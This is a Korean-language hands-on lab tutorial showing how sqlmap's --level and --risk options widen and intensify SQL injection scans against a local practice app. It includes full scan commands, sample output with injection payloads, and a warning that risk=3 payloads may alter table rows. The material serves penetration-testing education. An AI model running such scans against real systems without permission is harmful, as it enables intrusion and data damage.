sqlmap 에서 Level 및 Risk 로 스캔 공격성 조정하기

Kali LinuxBeginner
지금 연습하기

소개

sqlmap은 SQL 인젝션 취약점을 탐지하고 악용하는 과정을 자동화하는 강력한 오픈 소스 침투 테스트 도구입니다. 스캔을 수행할 때 제어할 수 있는 가장 중요한 두 가지 매개변수는 --level--risk입니다. 이 매개변수들은 스캔의 철저함과 공격성을 결정합니다.

  • Level: 수행할 테스트 수를 제어합니다. 1 부터 5 까지이며, 높은 레벨은 더 많은 인젝션 포인트 (HTTP 헤더 등) 에 대해 더 광범위한 테스트를 수행합니다.
  • Risk: 사용되는 페이로드 (payload) 의 위험도를 제어합니다. 1 부터 3 까지이며, 높은 위험도는 잠재적으로 데이터베이스를 느리게 만들 수 있는 시간 기반 쿼리 (time-based queries) 와 같은 파괴적인 페이로드를 사용합니다.

이 랩에서는 이 두 매개변수를 사용하여 sqlmap 스캔을 미세 조정하는 방법을 배우게 됩니다. 기본 스캔으로 시작하여 레벨과 위험도를 점진적으로 높여 스캔 범위, 지속 시간 및 사용되는 페이로드 유형에 미치는 영향을 관찰할 것입니다.

기본 레벨 (1) 및 위험도 (1) 이해하기

이 단계에서는 level 또는 risk를 지정하지 않고 기본적인 sqlmap 스캔을 수행합니다. 기본적으로 sqlmap--level=1--risk=1을 사용합니다. 이것은 가장 포괄적이지 않고 가장 안전한 스캔입니다.

Level 1은 GET 및 POST 매개변수만 테스트합니다. Risk 1은 일반적으로 웹 애플리케이션에 무해한 페이로드, 예를 들어 기본적인 불리언 기반 (boolean-based) 및 오류 기반 (error-based) 인젝션 테스트를 사용합니다.

귀하를 위해 설정된 취약한 애플리케이션에 대해 기본 스캔을 실행해 보겠습니다. --batch 옵션은 모든 질문에 기본 선택으로 자동 응답하여 스캔을 비대화형으로 만듭니다.

터미널에서 다음 명령을 실행하십시오.

sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --batch

sqlmap이 테스트 프로세스를 시작하는 것을 볼 수 있습니다. 마지막 요약에서 수행된 요청 수와 발견된 취약점을 주의 깊게 살펴보십시오.

...
[INFO] 'Boolean-based blind - WHERE or HAVING clause' 테스트 중
[INFO] 'Error-based - WHERE or HAVING clause' 테스트 중
[INFO] 'Time-based blind' 테스트 중
...
[INFO] GET 매개변수 'id'에 취약점이 있습니다. 다른 매개변수(있는 경우)에 대한 테스트를 계속하시겠습니까? [y/N] N
sqlmap은 총 XXX개의 HTTP(s) 요청으로 다음 인젝션 지점을 식별했습니다.
---
매개변수: id (GET)
    유형: boolean-based blind
    제목: AND boolean-based blind - WHERE or HAVING clause
    페이로드: id=1 AND 2129=2129

    유형: error-based
    제목: SQLite OR error-based - CUME_DIST
    페이로드: id=1 OR 1 GROUP BY CUME_DIST(1)

    유형: time-based blind
    제목: SQLite > 2.0 AND time-based blind
    페이로드: id=1 AND 7415=CASE WHEN (substr(sqli,1,1)='S') THEN 7415 ELSE 0 END
---
[INFO] 가져온 데이터는 '/home/labex/.local/share/sqlmap/output/127.0.0.1' 아래의 텍스트 파일에 기록되었습니다.
...

이 초기 스캔은 비교적 빠르며 id 매개변수의 취약점을 확인합니다.

--level=3으로 스캔 깊이 증가시키기

이 단계에서는 레벨을 3 으로 설정하여 스캔 깊이를 증가시킵니다. 더 높은 레벨은 sqlmap에 더 많은 테스트를 수행하고 추가 위치에서 취약점을 확인하도록 지시합니다.

  • --level=2는 HTTP Cookie 헤더에 대한 테스트를 추가합니다.
  • --level=3은 HTTP User-AgentReferer 헤더에 대한 테스트를 추가합니다.

레벨을 증가시킴으로써 sqlmap에 더 철저하게 검사하도록 요청하는 것입니다. 이는 자연스럽게 요청 수와 스캔 지속 시간을 증가시킬 것입니다.

이제 스캔을 다시 실행하되, 이번에는 --level=3 옵션을 추가하십시오.

sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --level=3 --batch

출력을 관찰하십시오. sqlmap이 이제 CookieUser-Agent와 같은 헤더를 테스트하고 있음을 명시적으로 언급하는 것을 볼 수 있습니다.

...
[INFO] GET 매개변수 'id'에 대한 SQL 인젝션 테스트 중
...
[INFO] HTTP Cookie 헤더에 대한 SQL 인젝션 테스트 중
...
[INFO] HTTP User-Agent 헤더에 대한 SQL 인젝션 테스트 중
...
sqlmap은 총 YYY개의 HTTP(s) 요청으로 다음 인젝션 지점을 식별했습니다.
---
매개변수: id (GET)
    유형: boolean-based blind
    제목: AND boolean-based blind - WHERE or HAVING clause
    페이로드: id=1 AND 2129=2129
...
---
[INFO] 가져온 데이터는 '/home/labex/.local/share/sqlmap/output/127.0.0.1' 아래의 텍스트 파일에 기록되었습니다.
...

우리의 간단한 애플리케이션은 이러한 헤더를 통해 취약하지 않지만, 실제 애플리케이션은 취약할 수 있습니다. 이전 단계 (XXX) 보다 총 HTTP 요청 수 (YYY) 가 더 많다는 것을 알 수 있을 것입니다.

--risk=2로 스캔 침습성 증가시키기

이 단계에서는 --risk 매개변수를 탐색합니다. 이 매개변수는 사용되는 페이로드의 "위험도"를 제어합니다.

  • --risk=1 (기본값): 대부분 무해한 페이로드를 사용합니다.
  • --risk=2: 무거운 쿼리 시간 기반 블라인드 인젝션 테스트를 추가합니다. 이는 데이터베이스 서버에 상당한 부하를 줄 수 있습니다.
  • --risk=3: OR-기반 SQL 인젝션 테스트 및 데이터를 수정할 수 있는 기타 잠재적으로 파괴적인 페이로드를 추가합니다.

더 높은 위험도는 안전한 테스트에서 놓칠 수 있는 취약점을 발견할 수 있지만, 대상 시스템을 방해할 가능성도 높입니다. 주의해서 사용해야 합니다.

위험도를 높여 스캔을 실행해 보겠습니다. 위험 매개변수의 효과를 분리하기 위해 기본 레벨 (1) 로 돌아가겠습니다.

sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --risk=2 --batch

이 스캔 중에 sqlmap이 더 공격적인 시간 기반 기술을 사용하는 것을 볼 수 있습니다. 이러한 페이로드는 데이터베이스가 시간이 많이 걸리는 작업 (벤치마크 또는 sleep 함수와 같은) 을 수행하도록 하고 서버의 응답 시간을 측정하여 정보를 추론하는 방식으로 작동합니다.

...
[INFO] 'Boolean-based blind - WHERE or HAVING clause' 테스트 중
[INFO] 'Error-based - WHERE or HAVING clause' 테스트 중
[INFO] 'Time-based blind (heavy query)' 테스트 중
...
[INFO] GET 매개변수 'id'는 'Time-based blind'로 인젝션 가능한 것으로 보입니다.
...

--risk=2를 사용한 스캔은 동일한 레벨에서도 페이로드 자체가 더 복잡하기 때문에 기본 스캔보다 더 집중적입니다.

--level=5--risk=3을 결합한 스캔 실행

이 단계에서는 가장 포괄적이고 공격적인 스캔을 위해 최고 레벨과 위험 설정을 결합합니다.

  • --level=5: 최고 레벨입니다. HTTP Host 헤더를 포함하여 가능한 모든 인젝션 지점을 테스트합니다.
  • --risk=3: 최고 위험도입니다. 데이터베이스 항목을 잠재적으로 수정할 수 있는 페이로드를 사용합니다. 이는 위험하며 파괴적인 테스트에 대한 명시적인 허가가 있는 시스템에서만 사용해야 합니다.

이 조합은 매우 길고 집중적인 스캔으로 이어집니다. 이는 대상에 대해 알려진 모든 테스트를 시도하는 "모든 것을 동원하는" 접근 방식입니다.

다음 명령을 실행하십시오. 이 스캔은 이전 스캔보다 훨씬 오래 걸릴 것이라는 점을 인지하십시오.

sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --level=5 --risk=3 --batch

sqlmap이 가장 강력한 페이로드를 사용하여 상상할 수 있는 모든 인젝션 지점에 대해 엄청난 수의 테스트를 실행하는 것을 볼 수 있습니다.

...
[INFO] GET 매개변수 'id'에 대한 SQL 인젝션 테스트 중
...
[INFO] HTTP Cookie 헤더에 대한 SQL 인젝션 테스트 중
...
[INFO] HTTP User-Agent 헤더에 대한 SQL 인젝션 테스트 중
...
[INFO] HTTP Referer 헤더에 대한 SQL 인젝션 테스트 중
...
[INFO] HTTP Host 헤더에 대한 SQL 인젝션 테스트 중
...
[CRITICAL] OR-기반 인젝션 테스트는 모든 테이블 행을 업데이트할 수 있습니다. 계속하시겠습니까? [y/N] y
...

이 스캔은 sqlmap의 최대 기능을 보여주지만, 트레이드오프를 이해하는 것의 중요성도 강조합니다. 이러한 스캔은 종종 비실용적이며 표준적인 참여에는 너무 위험합니다.

페이로드 및 스캔 시간 증가 관찰

이 마지막 단계에서는 이전 스캔 결과에 대해 생각해 볼 것입니다. 실행할 새로운 명령은 없습니다. 목표는 스캔 요약을 비교하여 levelrisk 조정의 영향을 이해하는 것입니다.

각 단계의 터미널 출력을 검토하면 명확한 패턴을 알 수 있습니다.

  1. 기본 스캔 (--level=1, --risk=1): 기준선입니다. 빠르고 가장 적은 요청을 보냈습니다.
  2. 레벨 증가 (--level=3): sqlmap이 더 많은 인젝션 지점 (Cookie, User-Agent) 을 테스트했기 때문에 요청 수가 증가했습니다. 그에 따라 시간도 증가했습니다.
  3. 위험도 증가 (--risk=2): 스캔 시간은 반드시 더 많은 요청 때문이 아니라 시간 기반 페이로드가 본질적으로 느리기 때문에 증가했습니다.
  4. 최대 공격성 (--level=5, --risk=3): 이 스캔은 훨씬 더 많은 수의 요청을 보냈고 상당한 차이로 완료하는 데 가장 오래 걸렸습니다.

예상되는 동작에 대한 요약은 다음과 같습니다.

스캔 매개변수 테스트된 인젝션 지점 페이로드 유형 상대적 시간
기본 (L1, R1) GET/POST 기본 boolean, error 짧음
--level=3 GET/POST, Cookie, User-Agent 기본 boolean, error 중간
--risk=2 GET/POST 무거운 시간 기반 추가 중간 - 김
--level=5 --risk=3 모든 헤더 OR 기반, 스택 추가 매우 김

핵심은 직접적인 트레이드오프가 있다는 것입니다. levelrisk를 증가시키면 더 철저한 테스트를 제공하고 숨겨진 취약점을 찾을 가능성이 높아지지만, 스캔 시간이 크게 증가하고 대상 시스템을 방해할 위험이 높아지는 대가가 따릅니다.

요약

이 실습에서는 --level--risk 매개변수를 사용하여 sqlmap 스캔의 공격성을 조정하는 방법을 성공적으로 탐색했습니다.

다음과 같은 사실을 배웠습니다.

  • --level은 스캔의 범위를 제어하여 HTTP 요청의 어느 부분을 취약점 테스트 대상으로 할지 결정합니다. 레벨이 높을수록 더 포괄적입니다.
  • --risk는 스캔의 침입성을 제어하여 사용되는 SQL 페이로드 유형을 결정합니다. 위험도가 높을수록 취약점을 찾을 가능성이 높지만 대상 데이터베이스에 위험할 수 있습니다.
  • 기본 설정 (level=1, risk=1) 은 빠르고 안전하도록 설계되었습니다.
  • 이러한 값을 증가시키면 스캔 시간이 길어지고 더 많은 주의가 필요합니다.

최상의 방법은 항상 낮은 levelrisk 설정으로 시작하는 것입니다. 초기 스캔이 성공하지 못하고 더 공격적인 테스트를 수행할 적절한 권한이 있는 경우에만 이를 높이십시오. 실습을 완료하신 것을 축하드립니다!